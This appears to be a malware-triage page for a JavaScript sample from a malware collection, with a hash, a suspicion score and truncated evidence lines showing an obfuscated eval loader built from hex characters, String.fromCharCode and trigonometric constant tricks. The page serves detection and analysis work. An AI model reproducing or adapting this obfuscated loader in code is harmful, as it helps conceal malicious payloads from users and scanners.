Suspicious 80% javascript-malware-collection Download

20151215_a6c1f77be004da88525c3fabb34ac162.js

Obfuscated eval loader with char-code payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256baa0af0194dd90c4382388e824d57f2f17a4db6b406e258f58aef52e9d2536cf

Evidence

Single-line packed JavaScript loader profile lines 1–2
1var y=new Array();
2K(y,"\x2a");K(y,"\x3d");K(y,"\x6e");K(y,"\x35");K(y,"\x4c");K(y,"\x45");K(y,"\x5a");K(y,"\x4a");K(y,"\x62");K(y,"\x4d");K(y,"\x21");K(y,"\x47");K(y,"\x4e");K(y,"\x31");K(y,"\x40");K(y,"\x2b");K(y,"\x49");K(y,"\x38");K(y,"\x49");K(y,"\x50");K(y,"\x3e");K(y,"\x58");K(y,"\x3f");K(y,"\x72");K(y,"\x47");K(y,"\x2d");K(y,"\x65");K(y,"\x78");K(y,"\x6d");K(y,"\x51");K(y,"\x58");K(y,"\x58");K(y,"\x22");K(y,"\x3c");K(y,"\x63");K(y,"\x68");K(y,"\x7a");K(y,"\x6f");K(y,"\x2d");K(y,"\x21");K(y,"\x40");K(y,"\x36");K(y,"\x71");K(y,"\x37");K(y,"\x68");K(y,"\x60");K(y,"\x48");K(y,"\x7b");K(y,"\x5e");K(y,"\x4f");K(y,"\x71");K(y,"\x70");K(y,"\x2a");K(y, …
Builds characters with String.fromCharCode line 4
4:260… 43],y[44],y[45],y[46],y[47],y[48],y[49],y[50],y[51],y[52],y[53],String.fromCharCode(10),y[54],y[55],y[56],y[57],y[58],y[59],y[60],y[61],y[62],y[63],y[64],y[65],y[66],y[67],String.fromCharCode(13),y[68],y[69],y[7 …
Calls JavaScript toString conversion method lines 4–8
4:4448… y[636],y[637],y[638],y[639],y[640],y[641],y[642],y[643],y[644],y[645],y[646],y[647],y[648],y[649],y[650],y[651],y[652],y[653],y[654]];
5function K(nnMPfohlNtAr,VRtgVFvlnorLPA){nnMPfohlNtAr.push(VRtgVFvlnorLPA);}function r4(WYcBSzzNqOOlSEnf){if(fpwxMfk(WYcBSzzNqOOlSEnf)) {return (String.fromCharCode(WYcBSzzNqOOlSEnf) + String.fromCharCode((49659+577)/661));}}
6function zyWCy(bFytngswXUT,ZefQEkHEQDpWn,SXHeSunr){uxWq=parseInt(bFytngswXUT,ZefQEkHEQDpWn);vjrrb=uxWq.toString(SXHeSunr);return vjrrb;}function EuKCdLjqCTDwiTE(JtFKTutaWfEPySvEp,TwqyalgatIQluDZzRcNSJYVoSfVTgmYacP,QnrcNUsjxDOsCmeTOsDcJgkkzhTSsHakgRK){eval(JtFKTutaWfEPySvEp)}
7function EuKCdLjqCTDwiTE(JtFKTutaWfEPySvEp){eval(JtFKTutaWfEPySvEp)}
8function zIXSPLLSMbBzgijNNJxmInkQWTFrwOycspzohtFyvykiD …
Calls JavaScript split() lines 9–11
9:155… ePevJEbdCKcpIJ);}
10function tgyLNHDtDLd(TcQyoLoY,cvGrOs){return TcQyoLoY.split(cvGrOs)}
11var H=[];H[0]=y[655];H[1]=y[656];H[2]=y[657];H[3]=y[658];H[4]=y[659];H[5]=y[660];H[6]=y[661];H[7]=y[662];H[8]=y[663];H[9]=y[664];H[10]=y[665];H[11]=y[666];H[12]=y[667];H[13]=y[668];H[14]=y[669];H[15]= …
Numeric sine-square obfuscation expression lines 13–15
13:13… ,l];
14var WqicyxjVy=[];
15function pfaQbtYgoINGlgoBk(VOqhD){FUbwbiDqVum= y[1756];for(uVCfUmHnDiE=Math.round((Math.pow(Math.sin(659), 2) + Math.pow(Math.cos(659), 2) - 1)); uVCfUmHnDiE < (-119+661)/271; uVCfUmHnDiE++) {WqicyxjVy[uVCfUmHnDiE]=Math.round((Math.pow(Math.sin(401), 2) + Math.pow(Math.cos(401), 2) - 1)); while(true) { if(WqicyxjVy[uVCfUmHnDiE] > VOqhD[uVCfUmHnDiE].length-(384+402)/786) { break; } if (fpwxMfk(zyWCy(VOqhD[uVCfUmHnDiE][WqicyxjVy[uVCfUmHnDiE]],(421+419 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.